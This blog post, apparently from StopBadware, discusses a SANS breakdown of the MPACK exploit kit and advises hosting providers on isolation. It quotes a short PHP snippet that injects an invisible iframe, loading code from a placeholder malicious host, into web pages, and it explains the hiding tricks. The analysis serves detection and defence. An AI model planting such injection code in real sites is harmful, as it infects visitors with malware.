Dealing with weaponized exploits
The folks at SANS published an excellent write up which breaks down the MPACK exploit package. MPACK confirmed a lot of theories that SBW had regarding exploit patterns recorded over time. In particular they use nit like behavior which homes in on the "scalp" of html document such as <body> and <html> tags. The following code was pointed out in the SANS entry:
$file_types = array('php', 'htm', 'html', 'tpl');
$iframed_content = str_replace('</body>',
'<iframe src=http://[EVIL].info/counter style=display:none>
</iframe></body>', $content);
The code above looks for the closing body tag and prepends an invisible iframe to it. If we break down the iframe tag the parameters achieve the following:
- src = the url of the malicious code that is loaded
- style = turns iframe invisible using CSS style trick
Other variants to induce invisibility include using width="0" and height="0" which has the same effect as style=display:none.
The Stopbadware team has seen this pattern for quite some time and it is possible that other packaged exploits use this style. It was more common in less technically impressive distributions to see the exploit appended to the file. This would be accomplished by using the "echo" command to simply append the iframe to the end of any html or php file. It is fair to say that if an iframe (or javascript) occurs before the opening html tag (<html>) or after the closing html tag (</html>) someone has injected code into that page.
The SANS entry goes on to provide reasons behind the success of these attacks. The analysis confirms a great many theories we had come up with. In particular the ability to compromise a single account and leverage that into a system wide exploit. This is particularly effective when used against "value" hosting providers who push 1000 or more websites onto a single box. It would make sense for hosting providers who are on our lists to consider following the changes recommended by this guid [1] and setup suExec or a proper chroot jail for the webserver. Before embarking on this task realize that there are issues to setting up suExec or a chroot jail. These issues include:
- increased time to setup
- more support tickets due to increased complexity
- more resource use (ram, processor) means less users per server
However the upside is that a single compromise will not lead to the infection of all the other users on your system. Thousands of support calls and possibly the loss of revenue as an angry, and infected, userbase migrate over to a more secure hosting provider are a potential downside to not implementing a more secure environment. Stopbadware will be making a point of educating website owners in our community to ask their hosting providers for these security measures to ensure they seek out more secure environments.